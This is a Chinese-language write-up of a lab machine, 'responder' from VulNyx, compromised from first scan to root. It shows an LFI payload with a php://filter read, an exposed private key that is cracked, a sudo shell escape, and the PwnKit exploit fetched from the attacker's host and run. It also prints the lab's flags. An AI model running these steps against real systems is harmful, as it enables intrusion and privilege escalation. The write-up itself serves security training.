

主机发现

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyX/responder]
└─# arp-scan -I eth1 -l

192.168.56.126 08:00:27:66:12:7a      PCS Systemtechnik GmbH
```

主机地址为 192.168.56.126

端口扫描

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyX/responder]
└─# nmap -p- 192.168.56.126

PORT      STATE      SERVICE
22/tcp    filtered  ssh
80/tcp    open       http
```

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyX/responder]
└─# nmap -sT -sC -sV -o -p22,80 192.168.56.126
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-02 00:28 CST
Nmap scan report for 192.168.56.126
Host is up (0.0012s latency).

PORT      STATE      SERVICE VERSION
22/tcp    filtered  ssh
80/tcp    open       http      Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:66:12:7A (PCS Systemtechnik/oracle virtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose
Running: Linux 4.x|5.x
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.29 seconds
```

IPv6

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyx/responder]
└# ping6 -I eth1 ff02::1
ping6: warning: IPv6 link-local address on ICMP datagram socket may require
ifname or scope-id => use: address%<ifname|scope-id>
ping6: warning: source address might be selected on device other than: eth1
PING ff02::1 (ff02::1) from :: eth1: 56 data bytes
64 bytes from fe80::20c:29ff:fe78:b2ba%eth1: icmp_seq=1 ttl=64 time=0.314 ms
64 bytes from fe80::a00:27ff:fe66:127a%eth1: icmp_seq=1 ttl=64 time=0.910 ms
```

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyx/responder]
└# nmap -p- -6 fe80::a00:27ff:fe66:127a%eth1
```

```
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
```

由于22在IPv4下扫描出filtered，所以扫描IPv6，结果是open

Web渗透

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyx/responder]
└# curl 192.168.56.126

your answer is in the answer..
```

目录枚举

```
└──(root㉿xhh)-[~/Desktop/xhh/vluNyx/responder]
└# gobuster dir -u http://192.168.56.126 -w /usr/share/seclists/Discovery/web-
Content/directory-list-2.3-big.txt -x php,txt,html
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:                      http://192.168.56.126
[+] Method:                   GET
[+] Threads:                  10
[+] Wordlist:                 /usr/share/seclists/Discovery/web-
Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:               gobuster/3.8
[+] Extensions:              php,txt,html
[+] Timeout:                  10s
=====
Starting gobuster in directory enumeration mode
=====
/index.html          (Status: 200) [Size: 31]
/filemanager.php     (Status: 302) [Size: 0] [--> /]
/server-status       (Status: 403) [Size: 279]
```

```
/logitech-
quickcam_W0QQcatrefZC5QQfbdz1QQfc1z3QQfposZ95112QQfromZR14QQfrppZ50QQfsclz1QQfs
oZ1QQfsopZ1QQfssZ0QQfstypeZ1QQftrtz1QQftrvz1QQftsz2QQnojsprzyQQpidz0QQsaatcZ1QQ
sacatzQ2d1QQsacqyopZgeQQsacurZ0QQsadisz200QQsaslopZ1QQsofocusZbsQQsorefinesearch
Z1.html (Status: 403) [Size: 279]
Progress: 5095320 / 5095320 (100.00%)
=====
Finished
=====
```

枚举出 /filemanager.php

```
__(root@xhh)-[~/Desktop/xhh/VluNyx/responder]
└# wfuzz -u 192.168.56.126/filemanager.php?FUZZ=/etc/passwd -w
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --hh 0
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not
compiled against OpenSSL. wfuzz might not work correctly when fuzzing SSL sites.
Check wfuzz's documentation for more information.
*****
* wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://192.168.56.126/filemanager.php?FUZZ=/etc/passwd
Total requests: 220559
=====
ID      Response    Lines     Word     Chars     Payload
=====
000000947:   302       27 L      39 W     1430 Ch      "random"
```

fuzz出一个参数 random

```
__(root@xhh)-[~/Desktop/xhh/VluNyx/responder]
└# curl 192.168.56.126/filemanager.php?random=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
```

```
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time
Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network
Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
elliot:x:1001:1001::/home/elliot:/bin/bash
rohit:x:1002:1002::/home/rohit:/bin/bash
```

拿到两用户elliot和rohit

LFI文件读取

```
__(root@xhh)-[~/Desktop/xhh/vluNyx/responder]
└# curl 192.168.56.126/filemanager.php?random=php://filter/read=convert.base64-
encode/resource=filemanager.php | base64 -d
% Total    % Received % Xferd  Average Speed   Time     Time      Time  Current
          Dload  Upload   Total   Spent    Left  Speed
100  2464  100  2464     0       0  624k      0 --:--:-- --:--:-- --:--:--  802k
<?php
    $filename = $_GET['random'];
    include($filename);
    header('Location:/');

/*
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,411124D3C302D4F4

Xc2kbWNBYa20zDARt6BMeCgKa9oRs8T5sCVws1wGik8zwChF4h6N9TzDnDGEMUPG
X+1Kp/fDKizxmJdwu3whLjgiXNbvx+fLiKzpWBzCAVpwSics/jjIopzzwjE3PAB7
vRfwdqdiaFK7mQXLJ3o/yrK2CCI8ud2U1EEk8DxTMGklmf8cbhrWic+by+9AS9t
vkD7hrs0LR6FaxBmfdo4dr1Qn9PZkvohHnMnpI7fdEC2Q3aqu6tFIODcvm6rBaII
QM0CIRdWh/wiW7xmtJUriF55rQRJq4+ShXwtwKBXYJnYvyEduqqhieJ0BA9Zjjzy
myav1v510eKMhxWWBkYaz6bmFsLpbmXBBgIaiozKSKIMGWa1sWCAGv0EmMDRnDG4
C1xkqgnDcgYskrdzLPJ5YN77M90ub30/VIGXjzsksJPP2xaubzYS7BvnjtBiD5uCU
i1fHEzpPI/QeHQ25X1qlGCU1a6b8mlFKMM91Kcj06TOSYgArC+kykbuqgDPMc7kt
MKhxrsykmPkNz6Fxsf78k/bmstPNbYDsa4ynz1IpiQHms+papIDcsHM4rUDib8Jh
HQMFjbSchpL0YxVXAiz4Nvo33VQxp1wRh0geo03bYz1D94FvozpeILFexnKaQeT3
GLCLNyZ1BK/p5KKh5F10hUU0brghzks5NjFYfNoGdnKfRSOIA+6X97AiDjqg9mk4
Yfb0gKh175uELy41wzuNnuynfwkANz7bhWv/QCLS7NiyaCucXJBjj3LRdT4Ckqf
3F1SNgshDq4vDC4RwkJw2umTmDpw0rz3syzeb9P4/bmQXkwX/btoIJzmnB6y++Bs
XirtzKa1yJ6/M0XA6tGTi+bnYD0w0moU64M3121HXvQUOXgsg5o0jIJQceTKCIN/
wLLNM0ybmqzq7z+M1LGrpyOez/fSAECvagyUZRmnks0eRR1oKzMS00e+qEFJ4GmeE
Yu2dITC6I3pVRZQGccsZWCX+BP+64Lcdz4/n5lensjab0jd28Kc72sraDteS1P/Y
wwZM9sybXtcs14cIPpw3a1dbkOT1wGEwjt0x0F0DNgApvA8Xn1Tr+whJVaMByA4U
t3UQHvUINNoLnX7uSBPo96ywCwAMuXjk8j3zaFvd5rOGq/Xd0pKBBARD2un9QZnN
4PzEWF1d9/B0bzSeo2dVEZgYXCRe3v0oEZImFIoxQcvgoxxeYjNVix0SSYEJfa9F
Pg8ZQ6R+zjA3pU1DqBxWnErHDyeGsnVBs8VIQKOiiZMeB12Tx9b9k8E6rjRIw6La
```

```
UbzpR+4CVgToD5TZBDpHhWHDpcv3JuNAb49XGdsL889uTwBX+fSTVL6FkxtzjySX  
gm6v5x/OPZg4BB/CnCWSeiG+rW0iMU4TGE5LqfuyBZBohVcDtri3qpYLGH/5NKfw  
dq15m9rReh/Jec6Z8BNi9Xo5gEjGg1QA/Tfw2VqCmrsMaU3iMNXLKryTcsm0qHb  
vRYvQl9GgeApdrZ/BY/ySb60jNUS1Nc9viv0AM9iCHp4tH6ofmVpnVzDuojdkxiz  
1B/vwbCo9Ccbzt7lM91H160ZlhLsoa//69PAeC3cZR2Z1svVk1gcDrw==  
-----END RSA PRIVATE KEY-----
```

*/

?>

拿到一个私钥

登录elliot

```
—(root@xhh)-[~/Desktop/xhh/vluNyX/responder]  
└# ssh2john id_rsa >tmp  
  
—(root@xhh)-[~/Desktop/xhh/vluNyX/responder]  
└# john tmp --wordlist=/rockyou.txt  
using default input encoding: UTF-8  
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])  
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded  
hashes  
Cost 2 (iteration count) is 2 for all loaded hashes  
will run 2 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
elliott          (id_rsa)  
1g 0:00:00:00 DONE (2025-12-02 01:25) 20.00g/s 67520p/s 67520c/s 67520C/s  
hellboy..yenyen  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.
```

爆破出私钥密码 elliott

```
—(root@xhh)-[~/Desktop/xhh/vluNyX/responder]  
└# ssh elliot@fe80::a00:27ff:fe66:127a%eth1 -i id_rsa  
Enter passphrase for key 'id_rsa':  
Linux responder 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64  
elliot@responder:~$ id  
uid=1001(elliott) gid=1001(elliott) grupos=1001(elliott)
```

elliott --> rohit

```
elliott@responder:~$ sudo -l
sudo: unable to resolve host responder: Fallo temporal en la resolución del
nombre
Matching Defaults entries for elliott on responder:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User elliott may run the following commands on responder:
(rohit) NOPASSWD: /usr/bin/calc
```

可以以rohit用户执行calc

```
elliott@responder:~$ sudo -u rohit /usr/bin/calc -h
#按"!sh"
sudo: unable to resolve host responder: Fallo temporal en la resolución del
nombre
$ bash
rohit@responder:/home/elliott$ id
uid=1002(rohit) gid=1002(rohit) grupos=1002(rohit)
```

可man命令一样拿shell

user.txt

```
rohit@responder:~$ cat user.txt
38ea4aa29dd3f88ad4b800af12ea42cb
```

提权

```
[+] [CVE-2021-4034] PwnKit
Download URL: https://codeLoad.github.com/berdav/CVE-2021-4034/zip/main
```

脚本跑出来一个

漏洞原理

漏洞的核心在于 *pkexec* 的参数处理逻辑。当运行 *pkexec* 时，如果未提供任何参数，程序会错误地将环境变量 *envp[0]* 作为命令参数处理。这种越界访问允许攻击者通过伪造环境变量（如 *GCONV_PATH*）来加载恶意的共享库，从而执行任意代码。

此外，*pkexec* 在处理环境变量时未正确过滤某些敏感变量（如 *CHARSET* 和 *SHELL*），进一步加剧了漏洞的可利用性。

漏洞利用

- 1. 伪造环境变量：**创建一个包含恶意共享库的目录，并设置 *GCONV_PATH* 指向该目录。
- 2. 构造恶意共享库：**编写一个共享库文件，其中包含提权代码（如调用 *setuid(0)* 和 *system("/bin/sh")*）。
- 3. 执行漏洞程序：**通过 *execve* 调用 *pkexec*，并传入伪造的环境变量，触发漏洞。

下载解压

```
rohit@responder:~$ wget 192.168.56.247:8000/CVE-2021-4034-main.zip
--2025-12-01 19:00:23-- http://192.168.56.247:8000/CVE-2021-4034-main.zip
Conectando con 192.168.56.247:8000... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 6457 (6,3K) [application/zip]
Grabando a: "CVE-2021-4034-main.zip"
```

```
CVE-2021-4034-main.zip          100%
[=====>] 6,31K  -
- .-KB/s   en 0s
```

```
2025-12-01 19:00:23 (421 MB/s) - "CVE-2021-4034-main.zip" guardado [6457/6457]
```

```
rohit@responder:~$ busybox unzip CVE-2021-4034-main.zip
Archive: CVE-2021-4034-main.zip
  creating: CVE-2021-4034-main/
  inflating: CVE-2021-4034-main/.gitignore
  inflating: CVE-2021-4034-main/LICENSE
  inflating: CVE-2021-4034-main/Makefile
  inflating: CVE-2021-4034-main/README.md
  inflating: CVE-2021-4034-main/cve-2021-4034.c
  inflating: CVE-2021-4034-main/cve-2021-4034.sh
  creating: CVE-2021-4034-main/dry-run/
  inflating: CVE-2021-4034-main/dry-run/Makefile
  inflating: CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
  inflating: CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
  inflating: CVE-2021-4034-main/pwnkit.c
```

make运行

```
rohit@responder:~/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall      cve-2021-4034.c    -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
rohit@responder:~/CVE-2021-4034-main$ ./cve-2021-4034
# bash
root@responder:/home/rohit/CVE-2021-4034-main# id
uid=0(root) gid=0(root) groups=0(root),1002(rohit)
```

成功获取到root权限

root.txt

```
root@responder:/root# cat root.txt
2df90c7733e54427419eee2134ebde5e
```

跳步 (LFI弹webshell)

利用LFI，使用php_filter_chain_generator执行一句话木马拿到webshell，最后利用CVE-2021-4034直接提权到root